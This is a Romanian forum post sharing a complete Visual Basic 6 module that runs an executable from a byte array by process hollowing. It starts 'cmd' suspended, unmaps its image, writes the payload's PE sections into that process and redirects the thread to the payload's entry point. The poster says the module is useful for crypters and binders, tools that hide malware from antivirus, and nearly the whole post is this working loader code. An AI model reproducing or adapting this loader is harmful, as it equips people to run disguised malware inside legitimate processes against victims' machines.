Nytro Posted January 9, 2009 Report Posted January 9, 2009 Un modul cu care puteti incarca in memorie un executabil daca il aveti ca byte array, util pentru cryptere, bindere ... Option ExplicitPrivate Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long)Const SIZE_OF_80387_REGISTERS = 80Private Type FLOATING_SAVE_AREAControlWord As LongStatusWord As LongTagWord As LongErrorOffset As LongErrorSelector As LongDataOffset As LongDataSelector As LongRegisterArea(1 To SIZE_OF_80387_REGISTERS) As ByteCr0NpxState As LongEnd TypePrivate Type CONTEXT86ContextFlags As LongDr0 As LongDr1 As LongDr2 As LongDr3 As LongDr6 As LongDr7 As LongFloatSave As FLOATING_SAVE_AREASegGs As LongSegFs As LongSegEs As LongSegDs As LongEdi As LongEsi As LongEbx As LongEdx As LongEcx As LongEax As LongEbp As LongEip As LongSegCs As LongEFlags As LongEsp As LongSegSs As LongEnd TypePrivate Const CONTEXT_X86 = &H10000Private Const CONTEXT86_CONTROL = (CONTEXT_X86 Or &H1)Private Const CONTEXT86_INTEGER = (CONTEXT_X86 Or &H2)Private Const CONTEXT86_SEGMENTS = (CONTEXT_X86 Or &H4)Private Const CONTEXT86_FLOATING_POINT = (CONTEXT_X86 Or &H8)Private Const CONTEXT86_DEBUG_REGISTERS = (CONTEXT_X86 Or &H10)Private Const CONTEXT86_FULL = (CONTEXT86_CONTROL Or CONTEXT86_INTEGER Or CONTEXT86_SEGMENTS)Private Declare Function GetThreadContext Lib "kernel32" (ByVal hThread As Long, lpContext As CONTEXT86) As LongPrivate Declare Function SetThreadContext Lib "kernel32" (ByVal hThread As Long, lpContext As CONTEXT86) As LongPrivate Declare Function SuspendThread Lib "kernel32" (ByVal hThread As Long) As LongPrivate Declare Function ResumeThread Lib "kernel32" (ByVal hThread As Long) As LongPrivate Type PROCESS_INFORMATIONhProcess As LonghThread As LongdwProcessId As LongdwThreadId As LongEnd TypePrivate Type STARTUPINFOcb As LonglpReserved As StringlpDesktop As StringlpTitle As StringdwX As LongdwY As LongdwXSize As LongdwYSize As LongdwXCountChars As LongdwYCountChars As LongdwFillAttribute As LongdwFlags As LongwShowWindow As IntegercbReserved2 As IntegerlpReserved2 As LonghStdInput As LonghStdOutput As LonghStdError As LongEnd TypePrivate Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As LongPrivate Declare Function ZwUnmapViewOfSection Lib "ntdll.dll" (ByVal hProcess As Long, ByVal BaseAddress As Long) As LongPrivate Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As LongPrivate Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As LongPrivate Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPrivate Declare Function VirtualProtectEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal flNewProtect As Long, lpflOldProtect As Long) As LongPrivate Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As LongPrivate Const CREATE_SUSPENDED = &H4Private Const MEM_COMMIT As Long = &H1000&Private Const MEM_RESERVE As Long = &H2000&Private Const PAGE_NOCACHE As Long = &H200Private Const PAGE_EXECUTE_READWRITE As Long = &H40Private Const PAGE_EXECUTE_WRITECOPY As Long = &H80Private Const PAGE_EXECUTE_READ As Long = &H20Private Const PAGE_EXECUTE As Long = &H10Private Const PAGE_READONLY As Long = &H2Private Const PAGE_WRITECOPY As Long = &H8Private Const PAGE_NOACCESS As Long = &H1Private Const PAGE_READWRITE As Long = &H4Private Enum ImageSignatureTypesIMAGE_DOS_SIGNATURE = &H5A4DIMAGE_OS2_SIGNATURE = &H454EIMAGE_OS2_SIGNATURE_LE = &H454CIMAGE_VXD_SIGNATURE = &H454CIMAGE_NT_SIGNATURE = &H4550End EnumPrivate Type IMAGE_DOS_HEADERe_magic As Integere_cblp As Integere_cp As Integere_crlc As Integere_cparhdr As Integere_minalloc As Integere_maxalloc As Integere_ss As Integere_sp As Integere_csum As Integere_ip As Integere_cs As Integere_lfarlc As Integere_ovno As Integere_res(0 To 3) As Integere_oemid As Integere_oeminfo As Integere_res2(0 To 9) As Integere_lfanew As LongEnd TypePrivate Type IMAGE_FILE_HEADERMachine As IntegerNumberOfSections As IntegerTimeDateStamp As LongPointerToSymbolTable As LongNumberOfSymbols As LongSizeOfOptionalHeader As Integercharacteristics As IntegerEnd TypePrivate Type IMAGE_DATA_DIRECTORYVirtualAddress As LongSize As LongEnd TypeConst IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16Private Type IMAGE_OPTIONAL_HEADERMagic As IntegerMajorLinkerVersion As ByteMinorLinkerVersion As ByteSizeOfCode As LongSizeOfInitializedData As LongSizeOfUnitializedData As LongAddressOfEntryPoint As LongBaseOfCode As LongBaseOfData As LongImageBase As LongSectionAlignment As LongFileAlignment As LongMajorOperatingSystemVersion As IntegerMinorOperatingSystemVersion As IntegerMajorImageVersion As IntegerMinorImageVersion As IntegerMajorSubsystemVersion As IntegerMinorSubsystemVersion As IntegerW32VersionValue As LongSizeOfImage As LongSizeOfHeaders As LongCheckSum As LongSubSystem As IntegerDllCharacteristics As IntegerSizeOfStackReserve As LongSizeOfStackCommit As LongSizeOfHeapReserve As LongSizeOfHeapCommit As LongLoaderFlags As LongNumberOfRvaAndSizes As LongDataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORYEnd TypePrivate Type IMAGE_NT_HEADERSSignature As LongFileHeader As IMAGE_FILE_HEADEROptionalHeader As IMAGE_OPTIONAL_HEADEREnd TypeConst IMAGE_SIZEOF_SHORT_NAME = 8Private Type IMAGE_SECTION_HEADERSecName As String * IMAGE_SIZEOF_SHORT_NAMEVirtualSize As LongVirtualAddress As LongSizeOfRawData As LongPointerToRawData As LongPointerToRelocations As LongPointerToLinenumbers As LongNumberOfRelocations As IntegerNumberOfLinenumbers As Integercharacteristics As LongEnd TypeConst OFFSET_4 = 4294967296#Public Function RunExe(abExeFile() As Byte) As LongDim idh As IMAGE_DOS_HEADERDim inh As IMAGE_NT_HEADERSDim ish As IMAGE_SECTION_HEADERDim pi As PROCESS_INFORMATIONDim si As STARTUPINFODim context As CONTEXT86Dim ImageBase As Long, ret As Long, i As LongDim addr As Long, lOffset As LongCopyMemory idh, abExeFile(0), Len(idh)If idh.e_magic <> IMAGE_DOS_SIGNATURE ThenMsgBox "MZ signature not found!", vbCritical, "File load error"Exit FunctionEnd IfCopyMemory inh, abExeFile(idh.e_lfanew), Len(inh)If inh.Signature <> IMAGE_NT_SIGNATURE ThenMsgBox "PE signature not found!", vbCritical, "File load error"Exit FunctionEnd Ifsi.cb = Len(si)If CreateProcess(vbNullString, "cmd", 0, 0, False, CREATE_SUSPENDED, 0, 0, si, pi) = 0 Then Exit Functioncontext.ContextFlags = CONTEXT86_INTEGERIf GetThreadContext(pi.hThread, context) = 0 Then GoTo ClearProcessCall ReadProcessMemory(pi.hProcess, ByVal context.Ebx + 8, addr, 4, 0)If addr = 0 Then GoTo ClearProcessIf ZwUnmapViewOfSection(pi.hProcess, addr) Then GoTo ClearProcessImageBase = VirtualAllocEx(pi.hProcess, ByVal inh.OptionalHeader.ImageBase, inh.OptionalHeader.SizeOfImage, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)If ImageBase = 0 Then GoTo ClearProcessCall WriteProcessMemory(pi.hProcess, ByVal ImageBase, abExeFile(0), inh.OptionalHeader.SizeOfHeaders, ret)lOffset = idh.e_lfanew + Len(inh)For i = 0 To inh.FileHeader.NumberOfSections - 1CopyMemory ish, abExeFile(lOffset + i * Len(ish)), Len(ish)Call WriteProcessMemory(pi.hProcess, ByVal ImageBase + ish.VirtualAddress, abExeFile(ish.PointerToRawData), ish.SizeOfRawData, ret)Call VirtualProtectEx(pi.hProcess, ByVal ImageBase + ish.VirtualAddress, ish.VirtualSize, Protect(ish.characteristics), addr)Next iCall WriteProcessMemory(pi.hProcess, ByVal context.Ebx + 8, ImageBase, 4, ret)context.Eax = ImageBase + inh.OptionalHeader.AddressOfEntryPointCall SetThreadContext(pi.hThread, context)Call ResumeThread(pi.hThread)Exit FunctionClearProcess:CloseHandle pi.hThreadCloseHandle pi.hProcessEnd FunctionPrivate Function Protect(ByVal characteristics As Long) As LongDim mapping As Variantmapping = Array(PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _PAGE_READWRITE, PAGE_EXECUTE_READWRITE)Protect = mapping(RShift(characteristics, 29))End FunctionPrivate Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As LongRShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift)End FunctionPrivate Function vbLongToULong(Value As Long) As DoubleIf Value < 0 ThenvbLongToULong = Value + OFFSET_4ElsevbLongToULong = ValueEnd IfEnd FunctionFolosire:RunExe ExeByteArrayCodul NU e scris de mine. Quote